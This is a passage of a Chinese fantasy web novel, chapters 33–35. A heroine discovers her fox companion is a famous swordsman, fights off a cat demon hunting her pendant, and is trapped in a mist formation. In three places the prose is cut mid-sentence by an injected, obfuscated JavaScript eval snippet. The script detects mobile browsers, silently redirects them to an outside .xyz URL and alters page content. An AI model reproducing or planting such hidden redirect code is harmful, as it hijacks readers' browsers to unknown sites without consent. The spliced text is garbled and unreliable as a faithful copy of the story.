这场比试胜负输赢已然分明,自然也没有再杵在原地的必要,苍樾泽从软椅上站起身,“都清山已为诸位备好宿处,诸位可尽情赏玩桃林美景。稍后自有侍者引各位前去休息。” 人群哄闹着散开,柳又青叽叽喳喳讲个不停,冬青不得已被其拉着四处闲逛,只能趁隙回身,望向树梢的狐狸,递去一个“快去”的眼神。 池南点头,四处搜寻燕明光的身影,见那少年正蹲在溪边,仔细擦拭袖口血迹。 他跳下树,正想寻个无人时机靠近,却敏锐地捕捉到燕明光的视线正若有若无地落在远处的冬青身上。 冰凉的溪水从腕间滑落至手肘,燕明光洗好了袖子,抽出佩剑,将方巾打湿,擦拭着剑身干涸的血迹。 他动作看似缓慢细致,实则正在从剑身反光悄然观察着方才出尽风头的冬青。 若他方才没看错,她方才绞住流星锤的招式分明是他师兄的剑法! 她怎么可能会他师兄的剑法? 燕明光眼神如霜,心中疑窦丛生。忽然,一抹醒目的红色影子映入剑身倒影中。 他蓦然回头,这不是那姑娘身旁的狐狸吗? 他沉肩收剑,剑锷撞击剑鞘,发出“铿”的一声铮鸣。 那狐狸在他的威慑下竟玩味地挑眉,慢悠悠走到他身边。 正当他觉得狐狸的眼神有几分莫名的熟悉时,狐狸说话了。 “明光。” 这……这是他师兄的声音?! 燕明光瞬间瞪大了眼睛,猛地扫视四周,确认无人注意后,才难以置信地俯身压低声音:“师兄?!” “是我。” 短短两个字,让燕明光激动得几乎难以自持:“师兄!真的是你!你知道我找了你多久吗?!” 他情绪激动,声音不自觉拔高。 “嘘!”池南连忙打住他,“换个地方说话。” 正巧此时侍者来引众人前去宿处,燕明光干脆把狐狸裹在自己的行囊里,快步跟侍者离开。 众人的宿处在山脚下的府宅中,宗门与宗门宿处不同,折云宗则是在一处最为僻静的院落。 院落坐落在一片桢楠树林里,树木笔直挺拔直冲云霄,林子里散发着一股若隐若现的清淡药香。 燕明光走到自己屋子里,小心翼翼把门关严,四处仔仔细细检查一番才把布裹打开。 池南从一堆衣物里钻出来,长舒一口气。 “师兄,你怎么……”燕明光现在千头万绪,不知从何问起。 “我重伤后,元神离体,再醒来便附身于这只狐狸身上了,是冬青救了我。”池南简明扼要地给他讲了他的处境。 燕明光听后神色怪异,“所以你把无相剑法教给她了?我求了你这么多年,你都让我滚蛋,就这么随随便便教给别人了?” 池南咳了两声,“没有随便,她……不算别人。” 此话一出,燕明光顿时瞪大眼睛张大嘴,池南在他叫嚷之前及时换了话题,“你们那边怎么样?” 燕明光一口气收回来:“你的……身体,还有无相剑,我都放在你屋里的密室了。” “师父呢?” “师父很担心你,派人到处寻你。”燕明光看着他,“华胥问道结束后,师兄随我一同回折云宗吧,也能好早日恢复元神。” 窗外草叶摇动,落木萧萧。 池南未置可否,而是问起了白晓城的事,“白晓城怎么样了?为何妖族会突然屠城,你可查清?” “白晓城现在一切都好,望月谷谷主带着弟子在周围清剿了不少妖,只是……”燕明光顿了一下,“什么都没能问出来,那些妖刚一被抓,便自愿散形,没能问出主谋。” 池南眼神沉冷,眉头紧锁,这便很奇怪了,妖族无缘无故屠城,绝不可能只为杀戮快意,其后必定藏着更深的缘由。 燕明光忽然问,“师兄,你听过九衢尘吗?” “九衢尘?跟九衢尘有什么关系?” 池南皱起眉头,他游历大江南北,听过不少坊间传闻,九衢尘,是北诏皇帝手中最锋利的爪牙,据说网罗三教九流,遍布各国,无孔不入,为北诏皇帝听八方风声。 “师兄你看这个。”燕明光从怀里拿出一根食指长短、通体赤红的玉石,上面刻着一个“尘”字。“我一直在追着一只逃跑的妖,就在今晨终于让我抓到了他,在他身上搜出了这个。” 池南仔细端详,“九衢尘的信令?怎么会在一只妖身上?” 燕明光叹息一声,“还未等我审问,那只妖便散形了。” 他想不明白,“可是师兄,你不觉得一切太巧了些,你前脚才追查血镝到白晓城,后脚大批的妖便毫无预料的屠城,而我事后查遍南氏,一点血镝的影都没看见!我怀疑那些妖,可能是冲你来的。” 这倒是与池南和无相的推断不谋而合了。 池南“嗯”了一声,“这个我知道,血镝我已经找到了。” “找到了?!”燕明光睁大眼睛,“在哪?” “在冬青身上。” “既如此,听师兄的话,你应当与她很熟了,为何不直接要来?” “因为……”池南望向窗外,目光深远,“那可能是她娘留给她的遗物。” 彼时冬青正被紫荷、沈秋溪和云开天师围着,轮流进行思想灌输。 紫荷:“小冬青,可是我把你带回仙人顶的,你必须做我的嫡师妹!” 沈秋溪:“逍遥老儿游历天下,见多识广,五道修为皆至太初境,他必能将你的御物之术教导的炉火纯青。” “去去!”云开天师不要脸的把两位小辈挤到一边去,转头对冬青露出一个大大的笑容,“小冬青,我云开也算是仙人顶资历数一数二的长老了,我愿破例收你做关门弟子,你可愿否?” 哪里有这么多人同时围着她转过,冬青招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362878|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架不住,频频望向门口。 忽然,她眼睛一亮,“噌”地站起身来,“师兄师姐长老,我忽然想起来还没有喂狐狸,我先告辞了。” 她灵活地从云开和沈秋溪中间的缝隙溜出去,急的云开在后面跳脚,“什么狐狸啊非得现在喂!” 冬青在门前停住脚步,发带因她动作向前扬起,又轻轻落回肩上,她回头看向屋内快要掐在一起的三人,浅浅笑了一下,“等急了,可要挠人的。” 说罢快步转身落荒而逃,留下屋内三人继续为冬青应该拜入谁的门下争执不休。 她自然不敢立刻回仙人顶弟子聚居的院落。一场比试,让昔日厌她恶她之人瞬间变得敬她重她。冬青不可否认地感到快意,但这口恶气出了之后,填满心间的更多是惶恐与患得患失。 他们今日能因她的御物天赋敬她千般,来日未必不会因其他缘由再度将她打回谷底。 她漫无目的走着,一朵桃花翩然飘到她眼前,她抬手接住,一抬头,才惊觉自己走回到方才那片桃林。 眼前水粉铺满天地,甜意醉人,冬青心中畅快许多,便随手折了支花练剑。 犹如一片青叶误入花林,冬青挽着剑花,花瓣随她的动作抖落,本是一击毙命的杀招,在此时却透出些难以言喻的怜惜之感。 贺兰烬躺在高处的枝干上闭目养神,听到下方传来窸窣的动静,随后懒洋洋掀起眼皮,向下看去。 他微微睁大眼睛。 一阵疾风自耳后拂过,霎时间,一地花瓣旋转着飞舞汇聚起来,如一条柔曼的粉色披帛,随着那天青色身影的一招一式,流动在她身边。 他就这样静静看着,没有出声。 直到冬青一个利落的收剑,花瓣如雨下落,他才轻轻跳下树。 “冬……” “冬青!”另一个声音突兀响起,盖过贺兰烬的轻唤。 冬青回头看去,关至别扭的走上前,在她面前站定,猝不及防的给她深深鞠了一躬。 “?”冬青皱眉看着他,这人又搞什么名堂? “今日是我不对,我给你赔礼道歉。”关至脸色涨红,声音含混,似乎极为难堪。 他支吾着,眼神躲闪,“那个……” 冬青不耐,“有话快说。” “你……你怎么会使无相剑法?你是在哪里买的秘籍吗?”关至憋红了脸,终于问出口,“能、能不能卖我一本?” 远处的贺兰烬眼睛眯起。 小红的无相剑法? “这剑法很有名?”冬青真诚发问。 关至像是听到了什么天方夜谭,眼睛瞪得溜圆。 这位御物天才已经强到连无相剑法都看不上了吗?! 他真是猪油蒙了心,鬼迷了窍才去挑战她,简直是自取其辱! 他态度愈发恭敬,几乎带上了一丝谄媚:“可能在您眼中它只是一套普通剑法,但对我们寻常修真术士而言,折云宗池南的独门剑法,是我们梦寐以求的至宝!不知您是否能大发慈悲,割爱一本?” “折云宗……池南?”冬青一字一顿,几乎是咬着牙问出这个名字。 什么?她竟然连池南都不知道?还是不放在眼里? 关至的头垂得更低了:“我……我知道池南对您来说可能……可能不算什么,但我真的非常需要它!” 冬青齿间溢出一声极轻的冷笑。 不是小红,也不是什么池北。 而是大名鼎鼎的折云宗池南。 她早该想到的。 “好啊。”冬青语气轻飘,在关至狂喜的注视下,抬手“咔嚓”一声,利落地折下一根更粗壮的花枝,语气阴恻恻道,“等我先去问个清楚。” 关至看着那气势汹汹离开的背影,搓了搓胳膊。 这架势,怎么看都不像是去问话的,倒像去杀人的。 33. 第 33 章 月色无垠,好风好景。 燕明光像是要把数月来发生的所有事都跟池南唠叨一遍,以致池南从他那出来时耳朵都要生茧,顿时想起冬青的好来。 他踏着一地碎银,快步回到冬青的宿处。 院落中,那道天青色身影正舞着一支桃花。 他没有打扰,在树上静静看完她练剑,才悄然落至院中。 冬青将花枝随手扔到桌上,走到井边撩了一捧水泼在脸上。 池南见她剑法愈发精纯流畅,心中欣慰,“冬青,我回……” 话音戛然而止——冬青转过身来,月光照着刚被冷水浸润过的面庞,白皙如瓷,冰凉圆润的水珠串线般从额前碎发滴落,那双黑亮的眼睛深深注视着他,带着一丝陌生的凉意。 “你是池南吗?”他听见冬青轻声问道。 无相弱声道,“小冬青……” “你闭嘴。”冬青冷声打断他,抄起桌上的花枝指向池南,“你说。” 狐狸嘴张了张,却发不出任何声音。 忽然间,一团浓郁的红雾自狐狸周身涌起,那熟悉的清冽气息骤然迸发。 雾中,一个颀长的身影缓缓显现。 红雾渐次消散,一个十八九岁的少年赫然暴露在月光下,他身着绛红色锦袍,长发高束,额间系着一根细细的红抹额,正中缀着颗绀宇色圆石,衬得眉眼愈发清俊,轮廓挺立,鼻尖有一颗小小的痣。 冬青不由得怔了一下。 月光从少年半透明的身体穿出,那双琥珀色眸子一瞬不瞬的看着冬青,眸底似乎蕴藏着难以言喻的歉意。 他缓缓上前,一手轻轻握住冬青手腕,另一只手则缓慢而坚定地将那支桃枝从她手中抽离。 他将那支开得正盛的桃花攥在掌心,“冬青,我不是存心瞒你。” 冬青震惊的后退一步,这是第一次,她对狐狸体内住着一个人有了实感。 “你为何要瞒我?”她站直了身子,毫不避让地迎上那目光,“若非关至今日戳破,你打算瞒我到几时?” 池南将花枝轻轻放在桌上,他不想她误会,“白晓城屠城一事复杂蹊跷,我于那场恶战中元神重创,当时若将真实身份和盘托出,恐会为你招致杀身之祸。” 白晓城一事,冬青听到过风声,只知道死伤惨重,血流千里,却不知池南竟是亲历者。 她并非不通情理之人,也早有预感小红身份不凡。她恼的并非隐瞒本身,而是这真相竟需从旁人口中得知,而非他的坦诚相告。 此刻既已说开,那点郁结便也烟消云散了。 “我知道了。”她转身走到石凳旁坐下,语气里带着气消后的沉闷,“华胥问道结束后,你便要回折云宗了,是吗?” “……是。” “也好。回去好,早日恢复。”她扯出一个淡淡的笑容,试图让气氛轻松些,“关至还问我要你的剑法秘籍,说是重金难求。我这般轻易学了去,是不是还得付你学费?” 池南的心不知道为何蓦地揪紧了一下,他下意识抚上心口,呼出一口微颤的气,也勉强笑道,“吃了你那么多归元果,早抵够了。” 说完这句话,他身形一散,漫天红雾汇聚回狐狸身上,狐狸声音闷涩,“我撑不了那么久。” 冬青看了他一眼,起身进屋,“我先歇息了,你自便。” 她的发带扫过桌沿那支桃花,花枝应声落地,发出一声轻响。池南望着四下散落的花瓣,久久出神。 一墙之隔的府宅是为望月谷准备的,关至紧张万分地在院子里踱步,边走边碎碎念。 “冬青怎么还没来?她是不是反悔了啊?” “冬青是不是还在为白天的事生气呢?但输的是我啊!” “冬青不会是忘了吧!贵人多忘事,我还要再去找她一趟吗?她会不会烦我了啊?” 这时门口出现一身影,关至心头一喜,连忙迎上前去,却被一巴掌毫无情面的拍退数步。 “关二傻!”崔香雪一脸嫌恶,抱臂站在门口,“你干嘛?!” “啊?崔……崔师姐,我不知道是你!”关至捂着脸,慌忙低头认错。 “那你以为是谁?”崔香雪没好气地瞪着他。 “没……没谁。” 崔香雪懒得与他废话,反手又一巴掌将他扇开,“去去去,别在这碍事!” 关至喜提两个巴掌印,脸颊火辣辣的,他用双手捂着,恶狠狠看向崔香雪离去的背影。 他怎么可能把无相剑法的事告诉她?等着吧,等他关至拿到了无相剑法,得到谷主重用的就会是他!到那时,什么崔香雪之流,都将是他的手下败将! 崔香雪显然无心顾及关至这等小角色。她快步穿过庭院,来到席子昂下榻的院落,轻叩门扉:“谷主。” “进。” 屋内烛火幽微,席子昂披着一席紫色外衫,倚在案前。 玄铁面具挂在衣架上,他慢慢转身,一双浅极的竖瞳让人如坠冰窟,那根本不是一张人的脸! 而是一只豹子的脸! 席子昂翻着手中经卷,漫不经心地问,“什么事?” 崔香雪行礼,“谷主,我感知到血镝的气息了。” 席子昂猛地掀起眼皮,“在哪?” “气息很微弱,一闪而过。”崔香雪低着头,“不过我能确定,那一定是血镝。” 席子昂眼神冷的能结冰,“找,把都清山翻个底掉,也要把血镝找出来。” “是。” 崔香雪得令,紫色身形一晃,一只黑猫倏地跳出窗外,消失在浓重夜色中。 黑猫敏捷似箭,踏在铺满月色的琉璃瓦上,院中踱步的关至偶然抬头,只看见一个残存的黑影在屋檐上闪过。 他“咦”了一声,嘟囔道:“哪里来的大黑耗子!” 崔香雪在各处府宅的屋顶上飞速穿梭,然而那股熟悉的气息却如同石沉大海,再难捕捉。她扩大搜索范围,从山脚一路向上,最终在那片十里桃林边缘停住了脚步。 她在桃树枝梢间轻盈跳跃,空气中那血镝的气息似乎又隐约可闻。她鼻尖耸动,动作猛地一滞,骤然从树上跃下。 地上躺着一支断口整齐的桃花枝。 冬青! 崔香雪眼神一凛,迅速折返,化作一道夜间穿行的黑色鬼魅。 她悄然靠近冬青的院落,动作敏捷而轻地落到她窗后。 烛火已经熄了,屋内一片漆黑,窗棂被她支起来,从缝隙间看去,能看见躺在榻上缩成一团的被角。 她把鼻子凑近窗户,却什么也没闻出来。 于是她轻盈一跃,悄无声息地落在靠近窗户的桌案上。 床幔挡住了冬青的上半身,从崔香雪的视线看去,只能看见裹成一团的被。 她小心翼翼地凑近榻边,用尾巴轻轻撩开床幔。 一双在黑夜里分外明亮的眼睛正死死盯着她! 崔香雪汗毛倒竖,手中寒光一闪,下意识向那双眼睛刺去。 冬青向里一滚,匕首贴着她的发丝“咄”的一声扎进枕畔,她利落起身,五指一张,桌案上的茶盏凌空飞来,砸向黑猫。 黑猫敏捷躲过,茶杯砸在地上碎裂的脆响在黑夜中格外清晰。 屋外高树上望月的池南耳尖一动,他神色一凛,瞬间飞身下树。 “你是谁?”冬青赤足站在冰凉的地板上,随手拆了衣架当棍竖在身前,冷声质问。 崔香雪并未说话,尾尖一动,一面巴掌大的月牙出现在她面前,霎时一片紫色法阵在冬青身前凭空迸现,数十冰锥自法阵内暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362879|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射而出,裹着刺骨凉意向冬青袭来! 冬青双手手腕翻飞,倾注真气,棍在身前抡成一道摸不透风的圆形,将冰锥搅碎。 她心念一动,桌上花瓶陡然碎裂,瓶中花枝疯长,如游蛇鬼魅般从四面八方向黑猫绞去。 黑猫拧身躲过的同时,冬青眼前一亮,呼啸寒风从身后吹来—— 另一更为庞大的法阵在她背后骤然浮现,比方才多一倍数量的冰锥从她身后刺来! 千钧一发之际,一柄寒气凛凛的光剑破窗而入,剑身嗡鸣,自冬青肩头疾掠而过,同时贯穿了她身前身后两个法阵! “咔嚓——!” 清脆的碎裂声在屋内炸响,两个法阵如同琉璃般应声齐齐崩碎! 光剑毫不停滞,带着凌厉的杀意直刺黑猫。 黑猫尾尖急挥,一道半透明的保护罩猝然横亘身前,剑尖“铿”的一声狠狠撞在保护罩上! 保护罩不堪重负,裂纹瞬间蔓延开来,眨眼便布满了整个光罩。 几乎只是下一刻,保护罩崩裂,光剑穿过碎片,擦着黑猫的肩膀扎在青砖上,发出阵阵铮鸣。 崔香雪吃痛后退,在月色笼罩下看见了一双令人森然的金瞳。 她趁着剑身在扎在地上,还未抽身之际,看准时机从另一侧窗户仓皇逃出。 冬青肩膀放松下来,棍子“铛啷”一声掉在地上。她回头看去,长身如竹的少年正站在窗前,冷冷看着黑猫离去的方向。 扎在五步开外的光剑挣动一下,随后消散,无相在地上跺着脚,手上抓着一把猫毛。 “就差一点!”他气急败坏趴在窗边,“要是小老儿我真身在此,必叫他有来无回!” 池南收回视线,看向穿着单薄赤足站立的冬青,顿时蹙起了眉头。 寒冰阵的余寒未散,她怎么就光着脚站在地上? 他长腿一迈,三步并作两步走到榻前,一把扯过尚且温软的被子,不由分说地将她严严实实地裹了起来。 做完这一切,他才身形一晃,变回狐狸的样子。 冬青拽住要下滑的被子,站在原地默然看着满地狼藉。 良久,她轻声问道,“那是一只妖?” 池南点点头,又摇摇头,“应当是妖没错,不过妖怎么会阵道呢?” 他回想着方才感受到的阵法的灵气波动,“若是术士的话,应当已经达到六重天的水平了。” 山间夜寒料峭,夜间薄雾带着湿气从残破的门窗卷进屋里,冷的冬青打了个哆嗦。 她将被子放回榻上,迅速披了一件外衫。 “那黑猫方才要杀你?”池南看着地上融化的冰水,心头蓦地用上一股后怕。 “不像。”冬青盘坐在榻边,用力拔出插在枕边的匕首,“它是看见我睁眼,才亮出匕首的。” 早在那黑猫落至窗边时,她就已经醒了。她听见黑猫进屋,似乎是在屋子里转了一圈,随后才来到榻边的。 冬青手肘搭在膝上,手撑着下巴思索,“像是在找什么东西。” “找东西?”池南脑中蓦地闪过一个念头—— 难不成,是在找血镝? “冬青。”他语气严肃,“你身上的血镝,是世间压制妖气的无上至宝,觊觎它的人不在少数。我最初前往白晓城,也正是为了追查血镝的下落。若方才那只妖真是为此而来,恐怕它绝不会善罢甘休。” 冬青从颈间勾出那琉璃坠子,红色液体在其中轻轻摇晃。 她问,“你也想要这个?” 池南微怔,不知道她的重点怎么放在了这上面,却还是如实回答:“曾经想,现在不想了。” “为什么?” “因为这世上压制妖气的宝物有很多,但你娘留给你的东西,却只有这一件了。” 34. 第 34 章 冬青两指握着这血镝,这是不是娘给她留下的遗物其实无所谓,爹娘这一角色在她生命中几乎是缺席的,因此她也难以对着一条坠子生起什么缱绻之意。 “你需要的话,拿去就是。”她说着就要把坠子解下来。 “不。”池南爪子扒着她膝头,止了她的动作,“你留着。” 他从小失怙失恃,爹娘未曾留下任何可供凭吊的念想。每当他思念至深时,竟连个寄托哀思的物件都找不到。 他不想日后冬青也体味到那种滋味,坚持要她把坠子留下。 冬青拗不过他,索性将其塞回衣襟。 她还没有找到娘的墓,若血镝真是娘给她留下的东西,届时等她找到,就在墓前把其烧了,权当把自己的反哺之情一并捎过去。 屋内遍地狼藉,没法再睡,她正困乏,也懒得收拾,便抱着被子推开了隔壁柴房的门。 她正要把被子铺到地上,一股大力却将她拦了下来。 池南一脸不解,“冬青,你要睡在这里?” “嗯。”冬青点了点头,抱着被子看着跳到柴火堆上的狐狸。 “会着凉的。”池南上前两步,“去找柳又青凑合一晚?” “不用,”她扒开狐狸,“在闻家一直睡的都是柴房,睡惯了,这么睡反而踏实。” 池南看着地上结了一层薄薄的水汽,心里又酸又胀,“你……在闻家一直睡的都是这种地方?” 冬青铺好被子,站起来环视一圈,“这里不错,门窗都是严实的,也没有什么灰,比闻家强。” 她正要躺下,一只大手不由分说的将她拽起,冬青回头一看,见池南又变成了人形。 他沉着脸把她拉到一边,一手抱起地上的被子,一手拽着她出门。 “你干什么?”冬青挣了一下,没挣开。 “你不能睡在那里。” 真气自他周身骤然迸发,方才还凌乱不堪的屋子仿佛时光倒流,碎片重聚,水渍消散…不过片刻,屋内已完好如初。 他拉着冬青进屋,将被子仔细掸过,铺在榻上,“睡吧。” 冬青沉默的看着他做完这些,本就透亮的身体愈发浅淡起来。 “为什么……” 为什么明明就要离开,还要做这些呢? 平野山上的老道长也好,池南也好,为什么呢? “什么?”池南没听清。 “没什么。”冬青催促道,“快变回去吧,就这么点元神,省着用。” 池南站在榻边,抿着唇回头看了她一眼,似乎有些不情愿的变回了狐狸。 他一言不发的往外走去。 冬青坐在榻边看着他走向窗户,窗纸上透出模糊的月影,她脑海中一瞬间闪过一个画面。 “月亮。”她突然没头没尾的说了这么一句。 池南回头,“嗯?” 冬青幽深的双眸看着他,“刚才那只黑猫的法器,是个月牙!” 池南瞬间明白了她的意思,阵修术士、月牙形的法器、弟子服袖口绣的月亮纹路,只有一个宗门以月亮为标志—— 他抬眸看向她,声色凛然。 “望月谷。” 血滴答滴答落在地上,崔香雪捂着肩头,忍着剧痛拖着身体向府宅踉跄走去。 那狐狸是什么来头,轻而易举的一剑就能击碎她的法阵和保护罩,让她血流不止。 她脱力跨进院门,正对上闻声望来的关至。 “……” 这二傻子怎么还在院子里晃悠啊! 关至也是一愣,视线扫到崔香雪指缝不断渗出的血迹,大惊失色,“崔师姐,你怎么了?!” “被树枝剐了一下。”崔香雪面无表情的绕过他向前走去。 “这……这能行吗?一会血流干了,我去帮你找个丹修看看吧!” 关至狗皮膏药似的跟在她后面,崔香雪本就烦躁,再也忍受不了他的聒噪,她回手“啪”的一巴掌甩在他脸上,“滚!” 打完,她一个眼神都懒得施舍,快步消失在庭院尽头。 关至捂着脸瞪圆了眼睛,这是他今晚挨的第三个巴掌了! 说好的打人不打脸呢! 他一腔好心被当成驴肝肺,愤不可耐,指天发誓,“我关至再当老好人,名字倒着写!” “大半夜吵什么!”一声极度不耐烦的厉喝不知道从哪飘来,关至脖子一缩,讪讪噤声了。 崔香雪捂着伤口,敲开席子昂的门。 倚在榻上的人看见她的伤口,皱了皱眉。 “怎么回事?” “回谷主,我确定血镝就在冬青身上。”她跪在地上,“但弟子办事不力,被其发现了,请谷主责罚!” 席子昂冷冰冰开口,“她伤的你?” “弟子……不确定。”崔香雪回忆着,那狐狸出来的太过蹊跷,现下她也不能确定那光剑到底出自两人谁手,“冬青身边还有只狐狸,可能是它出的手。” “狐狸?” 席子昂眉头皱得更深,他记得那只狐狸,他未在那只狐狸身上感觉到一丝妖气,因此他以为是冬青的灵宠之类的,并未放在心上。 “华胥问道结束后,我亲自去会会她。” 翌日天朗气清,空气中浮动着湿润的草叶香。 柳又青一大早就敲开了冬青的门。 冬青昨日睡得晚,被敲门声吵醒,却仍蜷在床上不愿动弹。她慢吞吞地下地,给柳又青开了门。 “冬青!”柳又青兴高采烈进来,看见她朦胧睡眼一愣,“你还没睡醒?” 冬青打了个哈欠,将眼睛勉强睁开一条缝,“醒了。” “醒了就快跟我走吧!城主准备了丰厚的早饭,再不去就要被他们抢没了!” 冬青在她的催促下飞快洗漱了一下,便被她拉着冲出了门。 导致她快到饭堂时,发髻是松的,衣襟是歪的,连发带都只系了一边。 她好说歹说甩掉柳又青,对着溪面讲自己打理好,才慢步走进饭堂。 饭菜的香气飘来,冬青也感觉到饿意,她快步走到柳又青身边,对方的碟子上堆着满满当当的糕点佳肴,就要溢出来了。 “冬青,你来啦。”柳又青递给她一个碟子,“快多夹些,不然一会要被梅道理夹光了!” 冬青顺着柳又青悄咪咪的目光看去,只见梅景站在另一侧,手中碟子更是琳琅满目,花样繁多。 她眉头一跳,合着两个人是在这儿比赛呢? 比什么,比谁量大吗? 冬青摇摇头,盛了些青菜粥和几块小巧的桃花糕。 然而当她们转过身,要去找位置坐下时,却发现只有梅景那桌万法阁弟子对面有位置了。 “……坐吗?”冬青看向身旁的柳又青。 “坐!为什么不坐?”柳又青昂首挺胸地走上前去,一屁股坐在梅景对面,笑面虎一般对他打了个招呼,“早啊。” 梅景黑着脸,却也装的人模人样的,“早。” 忽然,长桌“咚”地颤了一下,坐在桌上的其他弟子纷纷停箸,面面相觑。 “桌子是不是动了一下?” “好像是?” “梅师兄。”一个万法阁的弟子探头问道,“方才桌子是不是动了一下。” 梅景堪称和煦地笑了一下,“没有。” 话音刚落,长桌又“咚”一声颤动一下,这下十分清晰,在场众人这才意识到不是错觉。 “怎么,桌子动一下就吃不了饭了?”梅景视线慢慢扫过众人,“法阁的规矩都忘了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362880|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食不言寝不语,谁再多嘴,回去抄一百遍宗规!” 弟子们瞬间噤若寒蝉,心里却大为不忿——也不知道是谁方才还跟仙人顶那小师妹打招呼来着! 偏心眼!赤裸裸的偏心眼! 柳又青倒是意外的安静,冬青悄悄向下看去,忍俊不禁——她和梅景,两个人像小孩子打架一样,上半身坐的溜直,下面正互相踢的起劲。 桌子不住颤动,其余弟子实在是难以安心吃饭,迅速把自己碗里的吃食囫囵塞进嘴里,逃难一样离开了。 冬青看着两人明枪暗箭,默默坐到了一边。 柳又青拿的吃食太多了,眼见梅景盘子都要空了,她心有不甘,偷偷分了一碟子,用手肘碰了碰冬青。 她指着刚进来的狐狸,悄声道,“没饭了,冬青,这个给小红和剑灵吧。” 冬青会心一笑,转身却看狐狸停在了不远处燕明光身边。 她动作微不可查地一顿,随即若无其事地走上前,把满满当当的碟子放在池南面前。 池南抬头,“给……” “给无相的。”她扔下这句话,转身便走。 “……我的吗?”池南看着那碟点心,又瞥了一眼两眼放光的无相,黑着脸用爪子把碟子推了过去,“给你的。” 无相哈哈一笑,埋头塞饭,“还是小冬青挂念我啊!” 燕明光沉默着看了眼自家师兄,十几年如一日的求生本能让他直觉觉得他师兄现在心情似乎不太美妙。 于是,他慢慢的,并指将自己还未动过的碟子,推到了池南面前。 “师兄,你吃?” 池南两眼一黑,一把推开碟子,扭身从一侧开着的窗户跳出去了。 碟子在桌上打了两个旋儿,又滑回到了燕明光身前。 他怎么觉得,他师兄好像更生气了? 一顿饭吃的夹枪带棒,暗流涌动,待来到演武场时,各宗门弟子摩拳擦掌,满心想着怎么给对方找不痛快。 冬青本没参与他们的争斗,独自一人盘坐在角落里修炼心法,但无奈关至在一旁鬼鬼祟祟的,一副想靠近又不敢靠近的憋屈样。 她不耐烦地睁眼,“出来。” 关至一颤,顶着俩大黑眼圈哆哆嗦嗦的走上前,“那个…冬青师妹…不,冬青姐姐…您什么时候大发慈悲,把剑法卖…赐给小的啊?” 冬青正要赶他走,余光瞥见他琵琶袖口的月牙花纹,眼珠一转,“不急,你先回答我几个问题。” “您说!您尽管问!”关至点头哈腰,“小的必定知无不言,言无不尽!” “你们宗门的宗徽是月亮?” 关至没想到她会问这个,以为她是想进望月谷,立刻殷勤点头,“是的,谷主格外喜欢月亮,因此把月亮融入到宗徽里。” 他甚至掏出自己那对刚刚修复、光泽黯淡的流星锤,指着上面原本刻有纹路的地方,“您看,我们望月谷弟子的法器上,多多少少都会有些月亮元素。我的锤上本来也……呃……” 本来也有,只是昨天被您捏爆又拼回来后,就没了。 他识趣地把后半句咽了回去,赔着笑问:“您还想问什么?” “你昨晚,可曾看见一只黑猫?” 关至诚恳道:“黑猫没瞧见,个头挺大的黑耗子倒是瞥见一只,嗖一下就窜没影了。” “你们望月谷,昨日有人受伤吗?”冬青面不改色心不跳地扯谎,“我在你们院落附近看到血迹了。” 什么?!她竟然如此关心他们望月谷?莫非真想入门?若她成了同门,别说一套剑法,就算是御物之术…他是不是也能蹭着学点? 想到这儿,关至点头如捣蒜:“有有有!” 冬青眼神一沉:“谁?” “崔师姐,崔香雪!” 35. 第 35 章 那只黑猫妖,是望月谷的大师姐崔香雪? 冬青面上不露声色,只是淡淡道,“知道了,希望她早日恢复才好。” 关至笑的谄媚,她这么关心崔师姐,果然有意入宗门! 他心里乐开了花,面上嘿嘿傻笑着,再抬眼时,却见方才端坐身前的人已经消失了。 “……人呢?” 冬青在演武场转了一圈,没有找到崔香雪的身影。 正要转身离去时,一旁树林里忽然窜出一个红色身影,停在冬青面前。 “小红?” 狐狸并未应答,只是深深看了她一眼,随即转身向林中走去。见她没有跟上,它还回头侧了侧脑袋,示意她随行。 想必是人多眼杂,不便开口。冬青略一迟疑,缓步跟了上去。 狐狸一言不发,沉默地在前面引路。 冬青满心疑惑地跟在后面,越走越深,四周林木愈发茂密,光线也暗淡下来。 “小红。”她又唤了一声,前者却如同未闻,只是机械地向前走着。 再迟钝的人也该察觉出不对了。她快步上前,伸手欲抓那狐狸尾巴! 然而,指尖刚触及蓬松的毛发,那狐狸竟骤然消散成点点红色光粒,眨眼间便无影无踪。 虽然有所预料,但冬青仍旧心头一跳,再抬头时,周身已经被浓稠的白雾紧紧包围了。 乳白雾气犹如粘稠的液体,紧紧贴在她裸露在外的皮肤上,顺着她的一呼一吸钻入体内。 冬青站直身体,用真气隔开雾气。 可雾气仿佛有毒一般,不断腐蚀着她的真气,消耗她的气力。 这是一个为她设计的阵。 是为什么,为了血镝吗? 